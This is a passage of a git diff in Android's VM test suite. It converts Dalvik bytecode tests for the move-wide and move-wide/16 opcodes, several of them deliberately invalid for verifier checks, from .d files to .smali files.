-.source T_move_wide_3.java
-.class public dot.junit.opcodes.move_wide.d.T_move_wide_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 9
-       const-wide v0, 0
-
-       move v9, v0
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_3.smali
new file mode 100644
index 0000000..da6c79d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_3.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 9
+       const-wide v0, 0
+
+       move v9, v0
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_4.d
deleted file mode 100644
index 3eb95df..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_4.java
-.class public dot.junit.opcodes.move_wide.d.T_move_wide_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 9
-       move-wide v1, v8
-
-       const v1, 0
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_4.smali
new file mode 100644
index 0000000..4e98b22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_4.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+       move-wide v1, v8
+
+       const v1, 0
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_5.d
deleted file mode 100644
index 92e67dc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_5.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_5.java
-.class public dot.junit.opcodes.move_wide.d.T_move_wide_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 9
-       const v0, 124
-
-       move-wide v5, v0
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_5.smali
new file mode 100644
index 0000000..9ceffbe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_5.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_5.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 9
+       const v0, 124
+
+       move-wide v5, v0
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_6.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_6.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_6.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_6.smali
new file mode 100644
index 0000000..6fcc70c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_6.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_wide/d/T_move_wide_6;
+.super Ljava/lang/Object;
+.source "T_move_wide_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()I
+    .registers 9
+
+    const-wide v0, 0x11f4103d5c3L
+
+    move-wide v1, v0
+
+    const-wide v4, 0x11f4103d5c3L
+
+    cmp-long v8, v1, v4
+
+    return v8
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_7.d
deleted file mode 100644
index 9324fef..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_7.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_7.java
-.class public dot.junit.opcodes.move_wide.d.T_move_wide_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 9
-       const-wide v0, 124
-       const-wide v5, 0
-
-       move-wide v1, v5
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_7.smali
new file mode 100644
index 0000000..b884a2e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_7.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 9
+       const-wide v0, 124
+       const-wide v5, 0
+
+       move-wide v1, v5
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_1.d
deleted file mode 100644
index 282edb4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_1.d
+++ /dev/null
@@ -1,55 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_1.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 5000
-       const-wide v0, 123
-       const-wide v2, 5678
-       
-       move-wide/16 v4000, v0
-       move-wide/16 v4002, v2
-       
-       move-wide/16 v4000, v4002
-       
-       const-wide v4, 5678
-       
-       move-wide/16 v0, v4000
-       move-wide/16 v2, v4002
-
-       cmp-long v10, v0, v4
-       if-nez v10, Label0
-       cmp-long v10, v2, v4
-       if-nez v10, Label0
-       
-       const v1, 1
-       return v1
-
-Label0:
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_1.smali
new file mode 100644
index 0000000..25dc019
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_1.smali
@@ -0,0 +1,55 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_1.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5000
+       const-wide v0, 123
+       const-wide v2, 5678
+       
+       move-wide/16 v4000, v0
+       move-wide/16 v4002, v2
+       
+       move-wide/16 v4000, v4002
+       
+       const-wide v4, 5678
+       
+       move-wide/16 v0, v4000
+       move-wide/16 v2, v4002
+
+       cmp-long v10, v0, v4
+       if-nez v10, :Label0
+       cmp-long v10, v2, v4
+       if-nez v10, :Label0
+       
+       const v1, 1
+       return v1
+
+:Label0
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_2.d
deleted file mode 100644
index 57c7c93..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_2.d
+++ /dev/null
@@ -1,49 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_2.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 5000
-       const-wide/16 v2, 5678
-       
-       move-wide/16 v4001, v2
-       move-wide/16 v0, v4001
-       
-       const-wide v4, 5678
-
-       cmp-long v10, v2, v4
-       if-nez v10, Label0
-       cmp-long v10, v0, v4
-       if-nez v10, Label0
-       
-       const v1, 1
-       return v1
-
-Label0:
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_2.smali
new file mode 100644
index 0000000..067b522
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_2.smali
@@ -0,0 +1,49 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_2.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5000
+       const-wide/16 v2, 5678
+       
+       move-wide/16 v4001, v2
+       move-wide/16 v0, v4001
+       
+       const-wide v4, 5678
+
+       cmp-long v10, v2, v4
+       if-nez v10, :Label0
+       cmp-long v10, v0, v4
+       if-nez v10, :Label0
+       
+       const v1, 1
+       return v1
+
+:Label0
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_3.d
deleted file mode 100644
index e1e0ac7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_3.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 5000
-       move-wide/16 v0, v5000
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_3.smali
new file mode 100644
index 0000000..4848563
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_3.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5000
+       move-wide/16 v0, v5000
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_4.d
deleted file mode 100644
index 3f12810..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_4.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-       const-wide v0, 0
-       move-wide/16 v5000, v0
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_4.smali
new file mode 100644
index 0000000..3ee4e58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_4.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       const-wide v0, 0
+       move-wide/16 v5000, v0
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_5.d
deleted file mode 100644
index 7e61df4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_5.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       move-wide/16 v0, v4999
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_5.smali
new file mode 100644
index 0000000..9cfbbf5d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_5.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move-wide/16 v0, v4999
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_6.d
deleted file mode 100644
index 2cea620..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_6.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-       const v123, 123
-       move-wide/16 v255, v123
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_6.smali
new file mode 100644
index 0000000..f44fa2d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_6.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       const v123, 123
+       move-wide/16 v255, v123
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_7.d
deleted file mode 100644
index 7826131..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_7.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-
-       const-wide v123, 123
-       move-wide/16 v255, v124
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_7.smali
new file mode 100644
index 0000000..5a94771
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_7.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+
+       const-wide v123, 123
+       move-wide/16 v255, v124
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_8.d
deleted file mode 100644
index c5e006d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
